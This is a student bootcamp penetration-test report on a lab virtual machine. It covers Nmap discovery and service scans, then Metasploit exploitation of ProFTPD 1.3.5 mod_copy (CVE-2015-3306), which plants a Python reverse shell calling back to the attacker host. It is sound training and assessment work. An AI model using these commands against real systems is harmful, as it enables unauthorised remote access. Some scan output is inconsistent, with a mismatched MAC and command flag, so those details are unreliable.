

Owasp x µLearn Bootcamp

Task 4

Vulnerability Assessment Report: ERULNX16

Submitted by:

R S ABHINAV

October 26, 2025

Contents

1	Objective	2
2	Tools Used	2
3	Methodology & Execution	2
3.1	Phase 1: Host Discovery	2
3.2	Phase 2: Service Enumeration	2
3.3	Phase 3: Exploitation	3
4	Results & Post-Exploitation	3
5	Conclusion	4

1 Objective

The objective of this assessment was to perform a black-box penetration test on the provided ERULNX16 virtual machine. The process involved network discovery, service enumeration, and exploitation of a critical vulnerability to gain remote code execution and confirm the compromise.

2 Tools Used

- **VirtualBox:** Used to run the attacker and victim virtual machines.
- **Nmap:** Network mapper used for host discovery, port scanning, and service version detection.
- **Metasploit Framework:** Used to leverage the identified vulnerability (CVE-2015-3306) and gain a reverse shell.

3 Methodology & Execution

The assessment was performed in three distinct phases: host discovery, service enumeration, and exploitation.

3.1 Phase 1: Host Discovery

Both the attacker (Kali Linux) and victim (ERULNX16) VMs were configured to use **Bridged Adapter** mode in VirtualBox. This placed both machines on the local network.

- **Attacker IP:** The Kali Linux machine's IP was identified as 192.168.1.6.
- **Victim Discovery:** An Nmap ping scan (`nmap -sP 192.168.1.0/24`) was used to scan the network. The victim machine was identified at 192.168.1.8, confirmed by its VirtualBox MAC Address (08:00:27:DE:EF:99).

```

kali@kali:~$ nmap -sP 192.168.1.0/24
Starting Nmap 7.95 (https://nmap.org) at 2025-10-26 09:27 EDT
Stats: 0:00:16 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 44.90% done; ETC: 09:27 (0:00:21 remaining)
Stats: 0:00:26 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 49.61% done; ETC: 09:28 (0:00:24 remaining)
Stats: 0:00:39 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 61.76% done; ETC: 09:28 (0:00:23 remaining)
Nmap scan report for 192.168.1.1
Host is up (0.0030s latency).
MAC Address: 84:3D:08:05:15:A8 (Ox International BV)
Nmap scan report for 192.168.1.3
Host is up (0.11s latency).
MAC Address: 46:71:9A:1B:99:BD (Unknown)
Nmap scan report for 192.168.1.4
Host is up (0.18s latency).
MAC Address: 44:07:FA:8D:FA:8B (Samsung Electronics)
Nmap scan report for 192.168.1.5
Host is up (0.00023s latency).
MAC Address: 80:0C:1F:8F:81:8D (Intel Corporate)
Nmap scan report for 192.168.1.7
Host is up (2.13s latency).
MAC Address: 3E:0F:4F:8F:2B:46 (Unknown)
Nmap scan report for 192.168.1.8
Host is up (0.00072s latency).
MAC Address: 08:00:27:DE:EF:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.9
Host is up
Nmap done: 256 IP addresses (7 hosts up) scanned in 44.32 seconds
  
```

Figure 1: Nmap -sP scan identifying the victim at 192.168.1.8

3.2 Phase 2: Service Enumeration

A detailed service and version scan was performed on the target IP using Nmap.

```
1 nmap -sV -O 192.168.1.8
```

Listing 1: Nmap service scan command

The scan revealed several open ports, with the most critical finding being:

- **Port 21/tcp:** Running **ProFTPD 1.3.5**, a version known to be vulnerable to remote code execution.
- **Port 80/tcp:** Running Apache httpd 2.4.7, indicating a web server.

```

kali@kali:~$ nmap -sV -i 192.168.1.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 09:29 EDT
Nmap scan report for 192.168.1.8
Host is up (0.0017s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp      ProFTPD 1.3.5
22/tcp    open  ssh      OpenSSH 6.6p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.7
445/tcp   open  smb      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
637/tcp   open  redis    Redis 5.0.14
3306/tcp  open  mysql    MySQL (unauthenticated)
8080/tcp  open  http     Jetty 8.1.7.v20120910
2182/tcp  closed intermapper
MAC Address: 08:00:27:0E:1F:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.10 (98%), Linux 3.8 - 3.10 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 - 4.4 (94%), Linux 3.13 (94%), OpenWRT Chaos Calmer 15.05 (Linux 3.10) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 5.0 - 5.0.1 (Linux 3.4) (94%), Android 8 - 9 (Linux 3.10 - 4.4) (94%), Linux 3.2 - 3.10 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Hosts: 127.0.0.1, UBUNTU; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds

```

Figure 2: Nmap -sV scan results showing ProFTPD 1.3.5 on Port 21

3.3 Phase 3: Exploitation

The **ProFTPD 1.3.5 mod_copy vulnerability (CVE-2015-3306)** was selected for exploitation using the Metasploit Framework. This exploit allows an unauthenticated attacker to copy files, which can be leveraged to write a PHP payload to a writable web directory.

```

1 msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
2 msf6 exploit(...) > set RHOSTS 192.168.1.8
3 msf6 exploit(...) > set LHOST 192.168.1.6
4 msf6 exploit(...) > set SITEPATH /var/www/html
5 msf6 exploit(...) > set payload cmd/unix/reverse_python
6 msf6 exploit(...) > exploit

```

Listing 2: Metasploit Configuration

The exploit successfully connected to the FTP server, used the vulnerability to upload a Python reverse shell payload disguised as a PHP file to `/var/www/html/`, and then executed it, opening a command shell session.

4 Results & Post-Exploitation

A command shell session was successfully opened on the target machine. Post-exploitation commands were run to verify the level of access.

- **User Identity:** The `whoami` command returned `www-data`, the non-privileged user account for the Apache web server.
- **System Information:** The `uname -a` command confirmed the victim OS as Ubuntu Linux.
- **Directory Listing:** The `ls` and `pwd` commands confirmed the shell was in the `/var/www/html` directory.



Figure 3: Proof of compromise: Running whoami, ls, uname, and pwd on the target

5 Conclusion

The ERULNX16 virtual machine is critically vulnerable to remote code execution. The outdated **ProFTPD 1.3.5** service (CVE-2015-3306) allows an unauthenticated attacker to gain a remote shell on the system, leading to a full compromise of the web server and its data. Immediate remediation would involve patching or updating the ProFTPD service to a non-vulnerable version.